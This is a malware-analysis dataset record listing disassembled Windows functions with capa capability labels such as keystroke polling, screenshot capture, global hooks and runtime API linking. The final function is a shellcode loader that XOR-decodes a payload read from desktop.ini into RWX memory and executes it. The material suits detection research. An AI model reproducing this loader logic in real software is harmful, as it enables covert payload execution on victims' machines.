joyce8/EMBER2024-capa huggingface dataset:
Function at 0x429e28
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.004047a4
push 0
movzx eax, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x429e76
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404a14
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42def8
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42e02b
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x16], 0
lea eax, [ebp - 0x16]
push eax
call sub.user32.dll_GetKeyboardLayoutNameA
mov dl, 1
mov eax, dword [0x41d284]
call fcn.0041d354
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x42e001
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, 0x80000002
mov eax, dword [ebp - 0xc]
call fcn.0041d3f4
lea eax, [ebp - 0x20]
lea edx, [ebp - 0x16]
mov ecx, 0xa
call fcn.00404a14
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x42e040
call fcn.00404ab4
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
call fcn.0041d458
lea ecx, [ebp - 4]
mov edx, 0x42e07c
mov eax, dword [ebp - 0xc]
call fcn.0041d688
mov edx, 0x8000
mov eax, dword [ebp - 4]
call fcn.0040d7f4
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x42dfe4
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x42e088
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov ebx, eax
call ebx
movzx eax, word [eax + 0x28]
and ax, 1
cmp ax, 1
sete byte [0x45b434]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42dfeb
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FreeLibrary_1
ret

Function at 0x42e0d8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov esi, eax
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movzx ebx, byte [esp + 4]
test bx, bx
je 0x42e11f
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x42e102
add bx, 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x42e113
add bx, 0x4000
test byte [esp + 0xb], 0x20
je 0x42e11f
add bx, 0x8000
mov eax, ebx
add esp, 0x10
pop edi
pop esi
pop ebx
ret
Function at 0x432c8c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x45f534], 0
je 0x432dd5
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x45bab8]
mov edx, dword [edx]
xor al, byte [edx + 0xbc]
je 0x432dd5
mov eax, dword [0x45f538]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x45f534]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x432da4
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x45f534]
call fcn.00414248
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x432d9c
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1da], 0
je 0x432d9c
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x432d9c
mov eax, dword [ebp - 0x14]
call fcn.0043cf88
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x432d9c
push ebp
call fcn.00432c48
pop ecx
test al, al
jne 0x432d9c
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbb
call fcn.00403b8c
test al, al
je 0x432d9c
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbc
call fcn.00403b8c
cmp byte [ebp - 1], 0
je 0x432d9c
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x432d9c
mov edx, dword [ebp - 0x14]
mov eax, dword [0x45f538]
call fcn.004323b8
inc edi
dec ebx
jne 0x432cf1
mov eax, dword [0x45f538]
cmp dword [eax + 8], 0
jle 0x432dbc
mov eax, dword [0x45f538]
call fcn.00432470
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x432dd5
push ebp
mov eax, dword [ebp - 0x18]
call fcn.00432aac
pop ecx
test al, al
jne 0x432dd5
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43a184
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffed8
mov ebx, ecx
mov edi, edx
mov esi, eax
call sub.user32.dll_GetMessagePos
call fcn.004066d8
mov dword [esp + 8], eax
movsx eax, word [esp + 8]
mov dword [esp + 0xc], eax
movsx eax, word [esp + 0xa]
mov dword [esp + 0x10], eax
mov ecx, esp
lea edx, [esp + 0xc]
mov eax, esi
call fcn.00435014
test ebx, ebx
jne 0x43a1d7
push 0
push 0
lea edx, [esp + 8]
xor ecx, ecx
mov eax, esi
call fcn.0043a0c0
mov ebx, eax
test ebx, ebx
je 0x43a2c2
cmp esi, ebx
je 0x43a200
mov eax, dword [esp]
sub eax, dword [ebx + 0x40]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 4]
sub eax, dword [ebx + 0x44]
mov dword [esp + 0x118], eax
jmp 0x43a215
mov eax, dword [esp]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x118], eax
movzx eax, word [edi + 8]
mov dword [esp + 0x11c], eax
mov eax, dword [edi + 4]
mov dword [esp + 0x124], eax
movzx eax, word [edi + 0xa]
cmp eax, 0x201
jge 0x43a24d
add eax, 0xffffff5f
sub eax, 2
jb 0x43a265
dec eax
sub eax, 2
jb 0x43a279
dec eax
sub eax, 2
jb 0x43a26f
jmp 0x43a283
add eax, 0xfffffdff
sub eax, 2
jb 0x43a265
dec eax
sub eax, 2
jb 0x43a279
dec eax
sub eax, 2
jb 0x43a26f
jmp 0x43a283
mov byte [esp + 0x120], 0
jmp 0x43a28b
mov byte [esp + 0x120], 2
jmp 0x43a28b
mov byte [esp + 0x120], 1
jmp 0x43a28b
mov byte [esp + 0x120], 0
lea eax, [esp + 0x14]
push eax
call sub.user32.dll_GetKeyboardState
lea eax, [esp + 0x14]
call fcn.00447930
mov byte [esp + 0x121], al
lea eax, [esp + 0x114]
push eax
xor ecx, ecx
mov edx, 0xb04b
mov eax, ebx
call fcn.00436780
mov dword [edi + 0xc], eax
mov al, 1
jmp 0x43a2c4
xor eax, eax
add esp, 0x128
pop edi
pop esi
pop ebx
ret
Function at 0x43af30
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x240], 0
je 0x43af4c
cmp dword [esi + 4], 0
je 0x43af79
test byte [ebx + 0x55], 1
jne 0x43af6b
mov eax, ebx
call fcn.00439318
test eax, eax
jne 0x43af6b
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x43b089
mov edx, esi
mov eax, ebx
call fcn.0043a938
jmp 0x43b089
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43b082
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043cf88
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00436780
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0043af30
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043cf88
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43b089
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4420e4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x45bc30]
cmp byte [eax + 0xc], 0
je 0x442251
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44224a
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x45f544], 0
jne 0x442138
push 0x442258
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x442260
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45f544], eax
cmp dword [0x45b578], 0
jne 0x442233
push 0x442270
call sub.kernel32.dll_LoadLibraryA
mov dword [0x45b578], eax
cmp dword [0x45b578], 0
je 0x442233
push 0x44227c
mov eax, dword [0x45b578]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45f548], eax
push 0x44228c
mov eax, dword [0x45b578]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45f54c], eax
push 0x4422a0
mov eax, dword [0x45b578]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45f550], eax
push 0x4422b8
mov eax, dword [0x45b578]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45f554], eax
push 0x4422d0
mov eax, dword [0x45b578]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45f558], eax
push 0x4422e4
mov eax, dword [0x45b578]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45f55c], eax
push 0x4422fc
mov eax, dword [0x45b578]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45f560], eax
push 0x442314
mov eax, dword [0x45b578]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45f564], eax
push 0x442330
mov eax, dword [0x45b578]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45f568], eax
push 0x44233c
mov eax, dword [0x45b578]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45f56c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x442251
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x447898
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
movzx ebx, byte [0x4478ec]
test si, 4
je 0x4478ad
or bl, 1
test si, 8
je 0x4478b7
or bl, 4
test si, 1
je 0x4478c1
or bl, 8
test si, 2
je 0x4478cb
or bl, 0x10
test si, 0x10
je 0x4478d5
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4478e4
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4478f0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
movzx ebx, byte [0x44792c]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44790a
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x447919
or bl, 4
test esi, 0x20000000
je 0x447924
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44efe0
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44eff2
add esp, 0xfffffff0
call fcn.00403c9c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a0a0
mov eax, dword [0x45b8d8]
mov dword [eax + 4], ebx
mov dword [eax], 0x44f384
mov eax, dword [0x45b8e4]
mov dword [eax + 4], ebx
mov dword [eax], 0x44f390
mov eax, ebx
call fcn.0044f39c
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x411e9c]
call fcn.00403960
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x411e9c]
call fcn.00403960
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x411e9c]
call fcn.00403960
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x411e9c]
call fcn.00403960
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x411e9c]
call fcn.00403960
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44ae34
push eax
push 0
push 0
mov eax, dword [0x45ba40]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41dc14]
call fcn.0041f134
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41dc14]
call fcn.0041f134
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41dc14]
call fcn.0041f134
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0044f7cc
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44f69c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44f69c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44f69c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44f12f
call fcn.00403cf4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x44f480
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44f62b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44f60c
mov dl, 1
mov eax, dword [0x4122c0]
call fcn.00403960
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004047a4
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44f5fb
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00442440
test al, al
je 0x44f5ee
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44f63c
lea eax, [ebp - 0x254]
call fcn.00409348
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44f5ee
xor eax, eax
push ebp
push 0x44f5e7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44f674
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44f5d0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404a14
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44f5d0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404a14
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44f5ee
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44f4f1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x25], 0
mov dl, 1
call fcn.00415fa0
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44f632
lea eax, [ebp - 0x260]
call fcn.004047a4
ret

Function at 0x44ffa4
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x45f57c]
cmp byte [eax + 0xad], 0
jne 0x450015
cmp dword [0x45f594], 0
jne 0x44ffd6
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44ff60
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x45f594], eax
cmp dword [0x45f590], 0
jne 0x44fff1
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x45f590], eax
cmp dword [0x45f598], 0
jne 0x450015
push esp
push 0
push 0
push 0x44ff04
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x45f598], eax
pop edx
ret
Function at 0x4501e8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4501ff
add esp, 0xfffffff0
call fcn.00403c9c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a0a0
mov eax, dword [0x45ba24]
cmp word [eax + 2], 0
jne 0x450227
mov eax, dword [0x45ba24]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00451c98
mov eax, dword [0x45bad4]
cmp word [eax + 2], 0
jne 0x450241
mov eax, dword [0x45bad4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00451ea4
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411e9c]
call fcn.00403960
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411e9c]
call fcn.00403960
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x411e9c]
call fcn.00403960
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x41e3f0]
call fcn.00424238
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x4503f8
mov eax, dword [0x45b940]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042460c
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x452564
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x45b940]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040ca58
test eax, eax
je 0x450348
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408d00
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040ca8c
test eax, eax
je 0x45035c
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404a14
mov byte [ebx + 0xd4], 0
push ebx
push 0x4517f8
call fcn.0041b21c
mov dword [ebx + 0xc8], eax
mov eax, dword [0x45b838]
cmp byte [eax], 0
jne 0x4503ad
mov eax, ebx
call fcn.0045053c
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.00452740
mov eax, ebx
call fcn.004532a0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4503ed
call fcn.00403cf4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4507bc
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x45f57c]
cmp dword [eax + 0x30], 0
je 0x450866
cmp dword [ebx + 0x94], 0
jne 0x450860
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45074c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x450860
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x450826
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x450860
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414248
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x450835
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x451580
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4515b5
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404894
jmp 0x4515c2
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004047f8
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x452924
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x452992
mov eax, esi
call fcn.0043d2fc
test al, al
je 0x452992
mov eax, dword [ebx + 0x84]
call fcn.0043cf88
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x452992
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x452986
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043cf88
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.004353f4
jmp 0x452992
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.00452760
pop esi
pop ebx
ret
Function at 0x4072ad
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x46bc7c], 0
jne 0x4072eb
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4072c1
mov dword [ecx*4 + 0x46bc78], eax
inc ecx
cmp ecx, 0x100
jl 0x4072bc
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x407318
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x46bc78]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4072f9
not eax
pop ebp
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10